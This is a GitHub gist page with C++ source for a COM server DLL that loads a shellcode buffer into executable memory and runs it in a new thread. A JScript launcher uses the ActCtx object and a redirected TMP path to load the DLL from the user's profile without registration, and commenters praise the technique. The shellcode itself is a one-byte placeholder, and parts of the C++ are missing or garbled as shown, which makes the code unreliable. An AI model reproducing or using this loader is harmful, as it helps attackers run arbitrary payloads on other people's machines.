Skip to content

Instantly share code, notes, and snippets.

Last active February 15, 2023 23:11
Show Gist options
  • Save leoloobeek/86ffb76511e3a2e98c5d922501b70b3e to your computer and use it in GitHub Desktop.
Save leoloobeek/86ffb76511e3a2e98c5d922501b70b3e to your computer and use it in GitHub Desktop.
Simple example of a COM server to run some shellcode
// build and place in directory specified in the script.js file
// need to export DllCanUnloadNow, DllRegisterServer, DllUnregisterServer, DllGetClassObject
#include <Windows.h>
#include <comutil.h> // #include for _bstr_t
#include <string>
#include "Data.h"
DWORD MyThread();
UINT g_uThreadFinished;
extern UINT g_uThreadFinished;
DWORD ul_reason_for_call,
LPVOID lpReserved
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
g_uThreadFinished = 0;
return TRUE;
STDAPI DllCanUnloadNow(void)
// Ensure our thread can finish before we're unloaded
} while (g_uThreadFinished == 0);
return S_OK;
STDAPI DllRegisterServer(void)
return S_OK;
STDAPI DllUnregisterServer(void)
return S_OK;
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
// shellcode below
unsigned char data[] = { 0x00 };
int datalen = 1;
DWORD MyThread()
DWORD old;
SIZE_T shellcodeSize = (SIZE_T)datalen;
PVOID shellcode = LocalAlloc(LPTR, shellcodeSize);
CopyMemory(shellcode, data, shellcodeSize);
if (!VirtualProtect(shellcode, shellcodeSize, PAGE_EXECUTE_READWRITE, &old))
return FALSE;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcode, NULL, 0, NULL);
g_uThreadFinished = 1;
return 0;
var manifestXML = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="MyCOMObject" version=""/> <file name="File.dll"> <comClass description="MyCOMObject Class" clsid="{67E11FF1-C068-4C48-A1F5-69A882E0E99A}" threadingModel="Both" progid="MyCOMObject"/></file></assembly>'
var s = new ActiveXObject('WScript.Shell')
var path = s.ExpandEnvironmentStrings("%USERPROFILE%") + "\\"
// this will look for our COM DLL in the path noted above, the file name is indicated in the manifest
s.Environment('Process')('TMP') = path;
var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");
actCtx.ManifestText = manifestXML;
try {
var dwx = actCtx.CreateObject("MyCOMObject");
} catch (e) { }
Copy link

ghost commented Feb 17, 2022

This is excellent, if you set TMP == path you control say C:\tools ACTCTX will search for the DLL there. :)
Great work on this, still relevant.

Copy link

Appreciate it! I love the ActCtx object :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment